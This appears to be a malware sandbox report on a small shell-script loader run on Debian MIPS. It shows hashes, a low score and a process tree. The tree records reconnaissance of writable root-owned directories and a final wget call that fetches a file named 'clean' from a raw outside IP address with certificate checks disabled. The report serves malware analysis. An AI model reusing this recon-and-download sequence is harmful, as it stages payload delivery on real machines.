Overview

overview

6

Static

static

1

sh

ubuntu-18.04-amd64

6

sh

debian-9-armhf

6

sh

debian-9-mips

3

sh

debian-9-mipsel

3

Analysis

  • max time kernel
    22s
  • max time network
    24s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260126-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/04/2026, 16:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sh
  • Size 2KB
  • Sample260428-vclfjsfx4m
  • SHA256 8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:697
      • /bin/grep
        grep noexec
        2⤵
          PID:707
        • /bin/cat
          cat /proc/mounts
          2⤵
          • Reads runtime system information
          PID:706
        • /usr/bin/awk
          awk "{print \$2}"
          2⤵
          • Reads runtime system information
          PID:708
        • /usr/bin/whoami
          whoami
          2⤵
            PID:714
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
            2⤵
            • Reads runtime system information
            PID:717
          • /bin/uname
            uname -mp
            2⤵
              PID:735
            • /usr/bin/od
              od -An -N2 -i /dev/urandom
              2⤵
                PID:739
              • /usr/bin/tr
                tr -d " "
                2⤵
                  PID:740
                • /usr/bin/expr
                  expr -1487536128 "%" 32 + 4
                  2⤵
                    PID:741
                  • /usr/bin/tr
                    tr -dc A-Za-z0-9
                    2⤵
                      PID:744
                    • /usr/bin/openssl
                      openssl rand -base64 256
                      2⤵
                        PID:743
                      • /usr/bin/head
                        head -c 4
                        2⤵
                          PID:745
                        • /usr/bin/touch
                          touch .testfile
                          2⤵
                            PID:746
                          • /bin/dd
                            dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                            2⤵
                              PID:748
                            • /bin/rm
                              rm -rf .testfile .testfile2
                              2⤵
                                PID:749
                              • /bin/rm
                                rm -rf clean
                                2⤵
                                  PID:750
                                • /usr/bin/wget
                                  wget --no-check-certificate -q https://217.60.241.36/clean
                                  2⤵
                                    PID:751

                                Network

                                      MITRE ATT&CK Matrix

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      .testfile2
                                      • Path /.testfile2
                                      • Size 2.0MB
                                      • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download